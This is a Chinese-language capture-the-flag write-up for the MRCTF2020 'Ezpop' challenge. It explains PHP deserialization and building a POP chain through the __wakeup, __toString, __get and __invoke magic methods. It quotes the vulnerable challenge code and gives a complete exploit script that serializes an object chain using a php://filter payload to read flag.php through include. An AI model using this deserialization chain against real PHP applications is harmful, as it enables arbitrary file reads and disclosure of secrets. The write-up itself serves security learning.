[MRCTF2020]Ezpop
#知识点
PHP反序列化
代码审计
POP链
审题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| Welcome to index.php <?php
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); } }
if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
|
var是protected类型 在编写pop的时候要改成public(别问为什么
先是注意到最后要传的pop参数以及unserialize 意识到这是一道序列化的题目 并且感觉三个类应该是要构造pop链
把三个类分开分析
1 2 3 4 5 6 7 8 9
| class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
|
Modifier类里面的include($value)是我们最终希望利用的点 我们希望用include包含flag文件 得到flag 我们的最终目标是调用__invoke()魔术方法 这里贴上__invoke()魔术方法被调用条件
__invoke():当一个类以按一个函数的方法被调用时调用该魔术方法
于是先往下看一下有没有符合的条件
1 2 3 4 5 6 7 8 9 10 11 12
| class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); } }
|
发现了__get()魔术方法里边的$function被按照函数的方法被调用 如果我们能把$function实例化也就是$p实例化成一个对象 那么就可以调用__invoke() 于是现在注意点到了__get()魔术方法
这里也贴上__get()魔术方法的调用条件
__get():当调用一个不存在的或者是无法访问的属性的时候被调用
向上寻找利用条件的时候 注意到了class类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
|
class类里面的__toString()魔术方法如果被调用 那么会返回$this->str->source语句 这就很有意思了 如果说我们把str实例化成一个类 那么如果str类里面没有source属性 那么就满足__get()魔术方法的条件
于是寻找如何调用__toString()
这边也贴上__toString()魔术方法调用条件
__toString():当一个对象被当作字符串对待的时候执行该魔术方法
这个条件其实很大 也就是说只要是能进行字符串处理的地方 都有可能满足条件 看到了__wakeup()下面的正则表达式 这里正则表达式对字符串进行过滤 而过滤的对象就是$this->source 我们需要把$this->source实例化成一个对象 但是其实这个$this->source在上面__construct()处理时 已经有$file赋值了 也就是说到时候实例化一个Show()类时 传上一个类 就可以满足这题的所有pop链了
- POP链
整理一下pop链:实例化一个Show类 调用__wakeup() 如果实例化的时候能传入一个类 那就能触发_toString() str实例化成一个没有source属性的类 进而从而触发__get() 让$p也实例化成Modifier类 这样触发__get()之 $function()就能到Modifier类 从而触发__invoke() 得到flag
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class Modifier { public $var="php://filter/read=convert.base64-encode/resource=flag.php"; } class Test{ public $p; } class Show{ public $source; public $str; public function __construct($file){ $this->source = $file; } } $a = new Show(aaa); $a->str=new Test(); $a->str->p = new Modifier(); $b=new Show($a); echo urlencode(serialize($b)); ?>
|
EOF